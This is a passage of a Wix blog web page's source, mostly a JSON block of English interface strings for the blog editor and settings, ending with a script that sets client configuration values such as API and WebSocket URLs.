Category","edit-category-form.save":"Save","edit-category-form.untitled-label":"Untitled Category","fullDate":"{{time, fullDate}}","scheduledDate":"Post scheduled for {{date, fullDate}} at {{time, hoursAndMinutes}}","google-preview.header":"Preview On Google","header-back-button.back":"Back","header-back-button.cancel":"Cancel","header-buttons.sign-up":"Sign Up","header-navigation.latest-posts":"Latest Posts","header.account-suspended":"Account Suspended","header.create-category":"Create Category","header.create-post":"Create Post","header.edit-category":"Edit Category","header.edit-post":"Edit Post","header.followers":"Followers","header.following":"Following","header.login":"Log in","header.members":"Members","header.more-button":"More","header.notifications":"Notifications","header.profile-settings":"Settings","header.profile":"My Profile","header.search":"Search","header.sign-up-button":"Login \u002F Sign up","like-button.is-liked":"Post marked as liked","like-button.is-unliked":"Post not marked as liked","like-button.total-likes_plural":"likes.","like-button.total-likes":"like.","like-button.comment-is-liked":"Comment marked as liked","like-button.comment-is-unliked":"Comment not marked as liked","login-button.sign-up":"Sign Up","login-screen.login-description":"In order to access this page you need to log in to the blog.","login-screen.login-required":"Log in required","login-to-comment.login-to-join":"{{login}} to leave a comment.","login-to-comment.login":"Log in","messages.category-created":"Category created.","messages.category-deleted":"Category deleted.","messages.category-fields-required":"To publish add a \u003Cstrong\u003Etitle\u003C\u002Fstrong\u003E & \u003Cstrong\u003Ea few words\u003C\u002Fstrong\u003E.","messages.category-subscribed":"You are now \u003Cstrong\u003Efollowing\u003C\u002Fstrong\u003E this category!","messages.category-title-required":"Add a \u003Cstrong\u003Ename\u003C\u002Fstrong\u003E to go ahead and create.","messages.category-unsubscribed":"You are \u003Cstrong\u003Eno longer following\u003C\u002Fstrong\u003E this category!","messages.category-updated":"Category updated.","messages.comment-deleted":"Comment \u003Cstrong\u003EDeleted\u003C\u002Fstrong\u003E.","messages.comment-updated":"Comment \u003Cstrong\u003EUpdated\u003C\u002Fstrong\u003E.","messages.commenting-disabled":"Readers can no longer comment on this post.","messages.commenting-enabled":"Readers can now comment on this post!","messages.demo-mode-editor":"Double click to set up your blog","messages.demo-mode-preview-activate":"click here","messages.demo-mode-preview":"To activate your blog, {{activate}}","messages.demo-mode-site":"This blog isn't set up yet. Check back soon.","messages.draft-moved-to-trash":"Draft moved to trash.","messages.draft-deleted":"Your draft has been deleted.","messages.draft-duplicated":"Success! Draft duplicated.","messages.unschedule":"Your post is no longer scheduled and has moved to drafts.","messages.schedule":"Post scheduled for {{date, fullDate}} at {{time, hoursAndMinutes}}.","messages.post-category-changed":"Post category successfully \u003Cstrong\u003Echanged\u003C\u002Fstrong\u003E.","messages.post-content-required":"Add a \u003Cstrong\u003Epost\u003C\u002Fstrong\u003E to go ahead and publish.","messages.post-delete-another-writer-editing-error":"You can't delete this post right now because someone else is working on it. Try again later.","messages.post-restored":"Post restored and moved to drafts.","messages.post-moved-to-trash":"Post moved to trash.","messages.post-deleted":"Post deleted.","messages.post-duplicated":"Success! Post duplicated.","messages.post-fields-required":"To publish add a \u003Cstrong\u003Etitle\u003C\u002Fstrong\u003E & \u003Cstrong\u003Ea few words\u003C\u002Fstrong\u003E.","messages.post-moved":"Post successfully \u003Cstrong\u003Emoved\u003C\u002Fstrong\u003E.","messages.post-pinned":"This post is now \u003Cstrong\u003Epinned\u003C\u002Fstrong\u003E to your feed.","messages.post-published":"Great, post published!","messages.post-published-link":"Check it out","messages.not-published-blog-post-published":"To see your posts live, first Publish your site.","messages.post-subscribed":"You are now \u003Cstrong\u003Efollowing\u003C\u002Fstrong\u003E this post!","messages.post-title-required":"Add a \u003Cstrong\u003Etitle\u003C\u002Fstrong\u003E to go ahead and publish.","messages.post-unpinned":"This post is \u003Cstrong\u003Eno longer pinned\u003C\u002Fstrong\u003E to your feed.","messages.post-unsubscribed":"You are \u003Cstrong\u003Eno longer following\u003C\u002Fstrong\u003E this post!","messages.post-updated":"Your post has been updated.","messages.profile-cover-uploading":"Please wait profile \u003Cstrong\u003Ecover\u003C\u002Fstrong\u003E is uploading.","messages.profile-image-uploading":"Please wait profile \u003Cstrong\u003Eimage\u003C\u002Fstrong\u003E is uploading.","messages.profile-name-required":"Add a your \u003Cstrong\u003Ename\u003C\u002Fstrong\u003E and continue.","messages.profile-unknown-error":"Unknown error please contact support.","messages.profile-update-failed":"Failed to update profile","messages.profile-updated":"Your profile's updated.","messages.user-blocked":"Member successfully \u003Cstrong\u003Eblocked\u003C\u002Fstrong\u003E.","messages.user-demoted-writer":"This member is no longer a writer of your blog","messages.user-promoted-writer":"This member is now a writer of your blog","messages.user-subscribed":"You are now \u003Cstrong\u003Efollowing\u003C\u002Fstrong\u003E this member!","messages.user-unblocked":"Member successfully \u003Cstrong\u003Eunblocked\u003C\u002Fstrong\u003E.","messages.user-unsubscribed":"You are \u003Cstrong\u003Eno longer following\u003C\u002Fstrong\u003E this member!","messages.logo-saved":"You updated your logo. ","messages.settings-saved":"Your blog settings have been saved.","messages.post-reverted-to-draft":"Post moved to drafts.","messages.post-changes-discarded":"Post changes have been discarded.","messages.post-changes-not-published":"You have post changes that aren't published yet.","more-button.more-actions":"More actions","new-post-message.new-posts":"New posts","no-comments.content":"Check back soon.","no-comments.title":"I Haven't Made Any Comments Yet","no-drafts-allowed.content":"Want to write for the blog? Contact us.","no-drafts-allowed.title":"No Drafts Yet","no-drafts.content":"Every great post begins with a single word.","no-drafts.title":"No Drafts Yet","no-likes.content":"Check back soon.","no-likes.title":"I Haven't Liked Any Posts Yet","no-member-results.no-members-found":"We couldn't find any members with the name {{name}}.","no-member-results.nothings-coming-up":"Nothing's Coming Up","no-member-results.try-again":"Try another search.","no-posts-allowed.content":"Want to write for the blog? Contact us.","no-posts-allowed.title":"No Posts Yet","no-posts-feed-writer.create-first-post":"Create Your First Post","no-posts-feed-writer.create-posts":"Fill up this page with posts for your readers.","no-posts-feed.on-the-way":"Posts Are Coming Soon","no-posts-feed.stay-tuned":"Stay tuned...","no-posts-writer.create-posts":"Add Posts to This Category","no-posts-writer.readers-would-love":"Readers would love to hear about this topic!","no-posts.content":"Check back soon.","no-posts.explore-other-categories":"Explore other categories in this blog or check back later.","no-posts.posts-coming-soon":"Posts Coming Soon","no-posts.title":"Working On My First Post","no-post-found.title":"This is Your Post Page","no-post-found.message":"Once you write a post, you’ll be able to read it here. \n\nThis page acts like a template. Any change you make to its design will appear on all your post pages.","no-search-results.no-results-found-title":"No Results Found","no-search-results.try-again":"Looks like we couldn’t find what you’re looking for. Try another search.","no-user-posts.check-back-soon":"Once this member adds posts, you can follow and share them here. Check back soon!","no-user-posts.nothing-here-yet":"Nothing Here Yet","not-found.back":"See More Posts","not-found.head-back":"Check out some of the other great posts in this blog.","not-found.nothings-showing-up":"We Couldn’t Find This Page","notifications-settings.comments-description":"Notify me when members comment on my posts","notifications-settings.comments":"Comments","notifications-settings.description":"Manage your likes, comments & the people you’re following.","notifications-settings.email-notifications":"Email Notifications","notifications-settings.email":"Email","notifications-settings.general-description":"Notify me about forum updates","notifications-settings.general":"General","notifications-settings.likes-description":"Notify me when members like my posts","notifications-settings.likes":"Likes","notifications-settings.notifications":"Notifications","notifications-settings.push-notifications":"Push Notifications","notifications-settings.push":"Push","notifications-settings.subscriptions-description":"Notify me when members & discussions I follow post updates","notifications-settings.subscriptions":"Follows","pagination.first-page":"First page","pagination.last-page":"Last page","pagination.next-page":"Next page","pagination.page":"Page {{page, number}}","pagination.previous-page":"Previous page","post-actions.move-to-trash":"Move to Trash","post-actions.delete-draft":"Delete Draft","post-actions.delete-post":"Delete Post","post-actions.disable-commenting":"Turn Off Commenting","post-actions.duplicate-draft":"Duplicate Draft","post-actions.duplicate-post-copy-of":"Copy of","post-actions.duplicate-post":"Duplicate Post","post-actions.edit-post":"Edit Post","post-actions.enable-commenting":"Turn On Commenting","post-actions.follow":"Follow Post","post-actions.move-to-cateogory":"Move To Category","post-actions.pin-post":"Pin to Feed","post-actions.report-post":"Report Post","post-actions.share-post":"Share Post","post-actions.unfollow":"Unfollow Post","post-actions.unpin-post":"Unpin Post","post-actions.view-post":"View Post","post-actions.preview-post":"Preview Post","post-actions.preview-draft":"Preview Draft","post-actions.revert-to-draft":"Revert to Draft","post-actions.delete.content":"Are you sure you want to move this post to trash? Its views, likes and comments will be deleted.","post-create-actions.move-post":"Move Post","post-edit-in-progress-modal.cannot-edit-message":"Someone else is working on this post right now. Come back later.","post-edit-in-progress-modal.cannot-edit-title":"Edit in Progress","post-edit-in-progress-modal.got-it":"Got It","post-editor-header.back-button-label":"Back to Manage Posts","post-editor-mobile-header.close-button-label":"Cancel","post-editor-mobile-header.save-button-label":"Save & Continue","post-editor-mobile-header.status-saved":"Saved","post-editor-mobile-header.status-saving":"Saving...","post-editor-mobile-header.update-button-label":"Update","post-footer.share":"Share","post-footer.total-comments_plural":"{{count, number}} comments","post-footer.total-comments":"{{count, number}} comment","post-footer.view-count_plural":"{{count, number}} views","post-footer.view-count":"{{count, number}} view","post-form-action-sheet.category-button-label":"Choose Category","post-form-action-sheet.publish-button-label":"Save & Publish","post-form-action-sheet.save-button-label":"Save as Draft","post-form-action-sheet.schedule-post-button-label":"Schedule Post","post-form-actions.category-button-label":"Choose Category","post-form-actions.delete-button-label":"Delete Post","post-form-actions.discard-button-label":"Discard Changes","post-form-actions.post-settings-button-label":"Post Settings","post-form-actions.revert-to-draft-button-label":"Cancel Scheduling","post-form-actions.reschedule-button-label":"Reschedule Post","post-form-actions.publish-button-label":"Save & Publish","post-form-actions.publish-scheduled-button-label":"Publish Now","post-form-actions.save-button-label":"Save Changes","post-form-actions.save-draft-button-label":"Save as Draft","post-form-actions.preview-button-label":"Preview Post","post-form-actions.revert-to-draft":"Revert to Draft","post-form-actions.update-scheduled-button-label":"Update","post-form.cancel":"Cancel","post-form.content-error-tooltip":"Post title area appears to be blank. Please write something to publish your post.","post-form.give-this-post-a-title":"Add a Catchy Title","post-form.publish":"Publish","post-form.require-content":"Add a description to go ahead and publish.","post-form.require-fields":"To publish add a title & a few words.","post-form.require-title":"Add a title to go ahead and publish.","post-form.status-saved":"Saved","post-form.status-saving":"Saving...","post-editor-action-bar.save":"Save","post-editor-action-bar.status-saving":"Saving...","post-editor-action-bar.status-saved":"Saved","post-editor-action-bar.autosave-tooltip.title":"Autosave Is On","post-editor-action-bar.autosave-tooltip.draft-post":"This post is automatically saved as a draft.","post-editor-action-bar.autosave-tooltip.scheduled-post":"This post is automatically saved.","post-editor-action-bar.autosave-tooltip.published-post":"Changes to this post are auto saved, but not published. Hit Publish Changes to update this post.","post-editor-action-bar.publish":"Publish","post-editor-action-bar.publish-disabled-tooltip":"To publish your post, give it a title then add text or an image.","post-editor-action-bar.update":"Publish Changes","post-editor-action-bar.back-to-posts":"Back to Posts","post-editor-action-bar.preview":"Preview","post-editor-action-bar.preview-disabled-tooltip":"To preview your post, give it a title then add text or an image.","post-form.update":"Publish Changes","post-form.update-scheduled":"Update","post-form.uploading":"Just a sec. Hit Publish once your upload's done.","post-form.schedule-time-picker-title":"Schedule Post","post-form.schedule-time-picker-description":"When do you want to publish your post?","post-form.schedule-time-picker-cancel-scheduling":"Cancel Scheduling","post-form.schedule-time-picker-time":"Time","post-form.schedule-time-picker-timezone":"Timezone","post-form.schedule-time-picker-timezone-tooltip":"To change your timezone, go to Main Menu \u003E Settings \u003E General Info.","post-form.schedule-time-picker-button-schedule":"Schedule","post-form.schedule-time-picker-button-cancel":"Cancel","post-form.schedule-time-picker-time-error":"Choose a time at least {{threshold}} minutes in the future. ","post-list-classic.comments":"Comments","post-list-classic.likes":"Likes","post-list-classic.recent-activity":"Recent Activity","post-list-classic.title":"Title","post-list-classic.views":"Views","post-main-actions.share":"Share","post-mobile-header.back-button-label":"All Posts","post-page.back-to-forum":"View Members","post-page.commenting-blocked":"You are unable to comment","post-page.commenting-disabled":"Commenting is disabled on this post.","post-page.edited":"Edited:","post-page.not-found-title":"We Couldn't Find This Page","post-page.not-fount-content":"Check out some of the other great posts in this blog.","post-page-migration.publish-site-message":"To save your Post Page design, publish your site.","post-settings-buttons.cancel-label":"Cancel","post-settings-buttons.submit-label":"Done","post-settings-buttons.save":"Save","post-settings-buttons.save-and-publish":"Save & Publish","post-settings-buttons.saving":"Saving...","post-settings-buttons.tooltip.published":"To publish, add a valid Canonical URL.","post-settings-buttons.tooltip.not-published":"To save, add a valid Canonical URL.","post-settings-category-form.button":"Create New Category","post-settings-category-form.label":"Category label","post-settings-category-form.placeholder":"e.g. Travel, Food, etc.","post-settings-category-select.hint":"Add categories","post-settings-category-select.no-categories-hint":"There are no categories in this blog yet.","post-settings-label.title":"Post Settings","post-settings-page-metadata.title":"Manage post","post-settings-general.featured-post-label":"Feature This Post","post-settings-general.featured-post-tooltip":"Featured posts can be displayed anywhere on your site using a Custom Feed. To create a feed with your featured posts, go to the Editor \u003E double click on your blog \u003E Add-Ons \u003E Custom Feed.","post-settings-general.change-owner-label":"Author","post-settings-general.change-owner-tooltip":"Switch ownership of this post to another writer. You can still edit posts when they’re under another writer’s name.","post-settings-general.change-owner-tooltip-no-options":"To add writers to the list, go to Main Menu \u003E Settings \u003E Roles & Permissions.","post-settings-general.excerpt-label":"Excerpt","post-settings-general.excerpt-placeholder":"Add an excerpt...","post-settings-general.excerpt-tooltip":"Write a few lines of text to attract readers. It will appear on your blog feed depending on your layout.","post-settings-general.schedule-date-tooltip":"Your post is scheduled to be published on this date. To change it, reschedule the post. ","post-settings-general.draft-date-tooltip":"Your publish date can be for today or for a past date. This will impact the chronological order of your posts.","post-settings-seo.base-url":"www.your-site-name.com","post-settings-seo.description-label":"What’s the post about? (Post Description)","post-settings-seo.description-placeholder":"What makes this post unique? Tell Google what it’s all about.","post-settings-seo.description-tooltip":"Describe this post using relevant keywords and encourage new readers to check it out. It’s a great way to boost your Google page rank.","post-settings-seo.publish-date-edit":"Edit","post-settings-seo.publish-date-input-label":"Publish Date","post-settings-seo.publish-date-input-today-button":"Today","post-settings-seo.publish-date-input-tooltip":"You can schedule your post for today or a past date to change the chronological order of your posts.","post-settings-seo.publish-date-label":"Post Publish Date:","post-settings-seo.publish-date-reset":"Reset","post-settings-seo.slug-label":"What's the post URL?","post-settings-seo.slug-placeholder":"Post-Name","post-settings-seo.slug-tooltip":"This is the link to your post. Make it relevant and easy for people to remember.","post-settings-seo.title-label":"What's the title on search engines?","post-settings-seo.title-placeholder":"Post Title","post-settings-seo.title-tooltip":"This is the first thing people see about this post on Google. Add the title of the post and the name of your site or blog so people know what to expect.","post-settings-seo.canonical-url-label":"Canonical URL","post-settings-seo.canonical-url-placeholder":"Add a Canonical URL","post-settings-seo.canonical-url-tooltip":"Canonical URLs let search engines know which of your posts have identical or very similar content. Add a canonical URL to represent this post in search engine indexes.","post-settings-tabs.categories":"Categories","post-settings-tabs.settings":"Settings","post-settings-tabs.general":"General","post-settings-tabs.seo":"SEO","post-settings.skip-post-page":"Use old post version","post-settings.cover-image.label":"Cover Image","post-settings.cover-image.tooltip":"You can upload a custom cover image here. By default we take the first image in your post.","post-settings.cover-image.reset-button":"Reset","post-settings.cover-image.upload-button":"Upload Cover Image","post-settings.cover-image.change-button":"Change Cover Image","post-settings.cover-image.toggle-label":"Display Cover Image","post-settings.cover-image.toggle-tooltip":"Choose whether to show or hide your post's cover image. If hidden, people will still see it when the post is shared on social media.","post-social-actions.preview-mode-tooltip":"You're in preview mode. To share posts, head to your live site.","post-stats.view-count_plural":"{{count, number}} views","post.update-date":"Updated: {{date}}","private-profile-actions.create-post":"Create a Post","private-profile-actions.logout":"Logout","private-profile-actions.my-drafts":"My Drafts","private-profile-actions.profile-page":"My Profile","private-profile-actions.settings":"Settings","profile-blog-comments.blog-comments":"Blog Comments","profile-blog-drafts.blog-drafts":"Blog Drafts","profile-blog-likes.blog-likes":"Blog Likes","profile-blog-posts.blog-posts":"Blog Posts","profile-menu-item.comments-count":"{{count, number}}","profile-menu-item.comments-label":"Blog Comments","profile-menu-item.drafts-count":"{{count, number}}","profile-menu-item.drafts-label":"Blog Drafts","profile-menu-item.likes-count":"{{count, number}}","profile-menu-item.likes-label":"Blog Likes","profile-menu-item.posts-count":"{{count, number}}","profile-menu-item.posts-label":"Blog Posts","profile-menu.notifications":"Notifications","profile-page.edit-profile":"Edit Profile","profile.cancel":"Cancel","profile.confirm":"Confirm","profile.joined":"Joined: {{date, timeRelative}}","promote-writer-modal.add-new-posts":"Add posts to this blog","promote-writer-modal.cancel":"Cancel","promote-writer-modal.confirm":"Set as Writer","promote-writer-modal.get-more-content":"Adding writers to your blog is a great way get more fresh content and grow your community.","promote-writer-modal.manage-own-posts-comments":"Manage their post comments","promote-writer-modal.manage-own-posts":"Manage their own posts","promote-writer-modal.title":"Make This Member a Writer","promote-writer-modal.what-they-can-do":"Here’s what writers can do:","public-profile-actions.block-member":"Block Member","public-profile-actions.demote-writer":"Remove Writer","public-profile-actions.promote-writer":"Set as Writer","public-profile-actions.report-member":"Report member","public-profile-actions.unblock-member":"Unblock member","publish-button.publish":"Publish","recent-posts.all-posts-link":"See All","recent-posts.title":"Recent Posts","report-abuse-form.cancel-button":"Cancel","report-abuse-form.offensive-content":"Offensive Content","report-abuse-form.offensive-media":"Offensive Media","report-abuse-form.spam":"Spam","report-abuse-form.submit-button":"Report","report-comment-modal.help-us-understand":"Help us understand what is wrong with this comment","report-comment-modal.report-comment":"Report Comment","report-member-modal.help-us-understand":"Help us understand what is wrong with this member","report-member-modal.report-member":"Report Member","report-post-modal.help-us-understand":"Help us understand what is wrong with this post.","report-post-modal.report-post":"Report Post","restriction.content":"This category is members only, sign up to join in.","restriction.title":"Join the discussion","search-button.search":"Search","search-input.placeholder":"Search","search-menu.members":"Members","search-menu.posts":"Posts","search-page.no-results-content":"Search for posts and comments here.","search-page.no-results-title":"Looking for Something?","server-error-page.text":"This page isn't loading right now but we're working on a fix. Try refreshing the page or check back soon.","server-error-page.title":"This Page is Currently Unavailable","server-error-page.try-again-button":"Try Again","share-button.via-facebook":"Share via Facebook","share-button.via-linked-in":"Share via LinkedIn","share-button.via-link":"Share via link","share-button.via-twitter":"Share via Twitter","share-comment-modal.share-comment":"Share Comment","share-form.share-link":"Share Link","share-link.cancel":"Cancel","share-link.copy":"Copy Link","share-post-modal.share-post":"Share Post","text-editor-control-group.blockquote":"Quote","text-editor-control-group.bold":"Bold","text-editor-control-group.header-one":"Title","text-editor-control-group.header-two":"Title","text-editor-control-group.header":"Title","text-editor-control-group.italic":"Italic","text-editor-control-group.link":"Link","text-editor-control-group.ordered-list-item":"Numbering","text-editor-control-group.unordered-list-item":"Bullets","text-editor-link-form.button":"Submit","text-editor-link-form.cancel-button":"Cancel","text-editor-link-form.placeholder":"e.g. www.wix.com","text-editor-link-form.title":"Add a link","text-editor-upload-button.tooltip":"Upload","text-editor-video-embed-button.tooltip":"Add a Video","text-editor-video-embed-form.add-video":"Add a video from YouTube or Vimeo","text-editor-video-embed-form.button":"Add Now","text-editor-video-embed-form.cancel-button":"Cancel","text-editor-video-embed-form.invalid-url":"Invalid URL. Try Again.","text-editor-video-embed-form.placeholder":"e.g. https:\u002F\u002Fyoutu.be\u002F6sx-xGiFIjk","text-editor.comment-placeholder":"Write a comment...","text-editor.enter-content-editor-mac":"Text editor shortcuts: bold Command+B, italic Command+I, link Command+K, title Command+Shift+1, subtitle Command+Shift+2, align left Command+L, align right Command+R, center Command+E, justify Command+J, numbering Command+Shift+M, bullets Command+Shift+L, code block Command+Shift+8, blockquote Command+Shift+9","text-editor.enter-content-editor-without-codeblock-mac":"Text editor shortcuts: bold Command+B, italic Command+I, link Command+K, title Command+Shift+1, subtitle Command+Shift+2, align left Command+L, align right Command+R, center Command+E, justify Command+J, numbering Command+Shift+M, bullets Command+Shift+L, blockquote Command+Shift+9","text-editor.enter-content-editor-without-codeblock":"Text editor shortcuts: bold Control+B, italic Control+I, link Control+K, title Control+Shift+1, subtitle Control+Shift+2, align left Control+L, align right Control+R, center Control+E, justify Control+J, numbering Control+Shift+M, bullets Control+Shift+L, blockquote Control+Shift+9","text-editor.enter-content-editor":"Text editor shortcuts: bold Control+B, italic Control+I, link Control+K, title Control+Shift+1, subtitle Control+Shift+2, align left Control+L, align right Control+R, center Control+E, justify Control+J, numbering Control+Shift+M, bullets Control+Shift+L, code block Control+Shift+8, blockquote Control+Shift+9","text-editor.placeholder":"Start writing your post here. Add images, videos, #hashtags and more.","text-editor.tooltip-align-left":"Align Left","text-editor.tooltip-align-right":"Align Right","text-editor.tooltip-align-text-center":"Center","text-editor.tooltip-align-text-justify":"Justify","text-editor.tooltip-align-text-left":"Align Left","text-editor.tooltip-align-text-right":"Align Right","text-editor.tooltip-blockquote":"Quote","text-editor.tooltip-bold":"Bold","text-editor.tooltip-change":"Change","text-editor.tooltip-code-block":"Code Block","text-editor.tooltip-delete":"Delete","text-editor.tooltip-fit-to-page":"Best Fit","text-editor.tooltip-full-width":"Full Width","text-editor.tooltip-header-one":"Title","text-editor.tooltip-header-two":"Subtitle","text-editor.tooltip-header":"Title","text-editor.tooltip-image-upload":"Add an Image","text-editor.tooltip-italic":"Italic","text-editor.tooltip-link":"Link","text-editor.tooltip-ordered-list-item":"Numbering","text-editor.tooltip-original-size":"Original Size","text-editor.tooltip-small-center":"Small","text-editor.tooltip-unordered-list-item":"Bullets","text-editor.tooltip-video":"Add a Video","time-relative":"{{time, timeRelative}}","time-to-read.label":"{{minutes}} min read","time-to-read.short-label":"{{minutes}} min","typing-list-loader.typing":"Typing...","typing-list.is-typing_plural":"{{count}} members are typing...","typing-list.is-typing":"{{member}} is typing...","unpublished-changes-badge.label":"UNPUBLISHED CHANGES","video-embed.disabled-tooltip":"To play this video, view this post from your live site.","video-embed.load-video":"Load video","view-count.label_plural":"{{count, number}} views","view-count.label":"{{count, number}} view","view-count.icon-aria-label":"Views count","comment-count.icon-aria-label":"Comment count","widget-sign-up-button":"Login \u002F Sign up","write-comment.write-a-comment":"Write a comment","one-app.create-post-page-title":"Create post","one-app.edit-post-page-title":"Edit post","one-app.categories-modal-title":"Categories","one-app.post-editor-modal-right-button":"Next","one-app.categories-modal-right-button":"Save","one-app.post-page-title":"Post","one-app.post-editor-placeholder":"This is the beginning of a great post…","pagination.current-position-tile":"Page {{page, number}} of {{lastPage, number}}","content-migration.update-urls-notification":"You're one step away from switching to your new blog. Double click on this banner to update your URLs.","bm.content-migration.update-urls-notification":"You're one step away from switching to your new blog. Next: update your URLs.","bm.content-migration.update-urls-link":"Update URLs","post-editor-deprecation-modal.heading":"Write Your Next Post on the Wix App","post-editor-deprecation-modal.message":"Get the app to write and manage your blog posts right from your phone.","post-editor-deprecation-modal.primary-button-label":"Get App","post-editor-deprecation-modal.secondary-button-label":"Cancel","aria-label.authors-picture":"Author's picture"},"lang":"en"};
      window.__STATICS_VERSION__ = '1.1610.0';
      window.__WS_CONFIG__ = {"url":"https:\u002F\u002Fforums.wix.com\u002Fwix-ws-server","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpbnN0YW5jZUlkIjoiNzhlNzI3ODAtZWMxYS00ZTQzLTk3YzEtMjE3Yzc5ZDU1ZTJmIiwiYXBpS2V5IjoiNTQ3NmQ5MjMtYWVmMy00NjMxLWFhM2ItODg4NjBmYmUxYjg4IiwiY2hhbm5lbHMiOlt7Im1hc2siOiJpbnN0YW5jZS03OGU3Mjc4MC1lYzFhLTRlNDMtOTdjMS0yMTdjNzlkNTVlMmYvYmxvZyIsInJlcXVpcmVzQXV0aCI6bnVsbCwicmVjZWl2ZU93bk1lc3NhZ2VzIjpmYWxzZX0seyJtYXNrIjoiaW5zdGFuY2UtNzhlNzI3ODAtZWMxYS00ZTQzLTk3YzEtMjE3Yzc5ZDU1ZTJmL2NhdGVnb3J5LShcXHcpIiwicmVxdWlyZXNBdXRoIjpudWxsLCJyZWNlaXZlT3duTWVzc2FnZXMiOmZhbHNlfSx7Im1hc2siOiJpbnN0YW5jZS03OGU3Mjc4MC1lYzFhLTRlNDMtOTdjMS0yMTdjNzlkNTVlMmYvcG9zdC0oXFx3KSIsInJlcXVpcmVzQXV0aCI6bnVsbCwicmVjZWl2ZU93bk1lc3NhZ2VzIjpmYWxzZX1dLCJwcmVzZW5jZURhdGEiOnsibmFtZSI6ImFub255bW91cyJ9LCJpYXQiOjE1NzYwMTA2NDR9.1F-rnfQb0kj3p-u1CJtnRg4e49PFhSHqSnvPI0HSfgc","communityToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpbnN0YW5jZUlkIjoiNzhlNzI3ODAtZWMxYS00ZTQzLTk3YzEtMjE3Yzc5ZDU1ZTJmIiwiYXBpS2V5IjoiYzhmZWZlZDctNjVmNi00Mzc4LWJiZDQtMjAzZTI1NmUzNmIwIiwiY2hhbm5lbHMiOlt7Im1hc2siOiJjb21tdW5pdHktdW5kZWZpbmVkIiwicmVxdWlyZXNBdXRoIjpudWxsLCJyZWNlaXZlT3duTWVzc2FnZXMiOmZhbHNlfV0sInByZXNlbmNlRGF0YSI6eyJuYW1lIjoiYW5vbnltb3VzIn0sImlhdCI6MTU3NjAxMDY0NH0.O4hKVZQRomyBNKFHDBeIMRScvj6K5DT_z_P8e9Lt6GA"};
      window.__LOCALE__ = "en";
      window.__BASE_PATH__ = 'https://social-blog.wix.com';
      window.__API_BASE_URL__ = 'https://apps.wix.com/_api/communities-blog-node-api';
      window.__CLIENT_BASE_PATH__ = '/post';
      window.__IS_DEV_MODE__ = false;
    </script>
  
  <!-- RCE@5.1.16 -->
  


</body></html>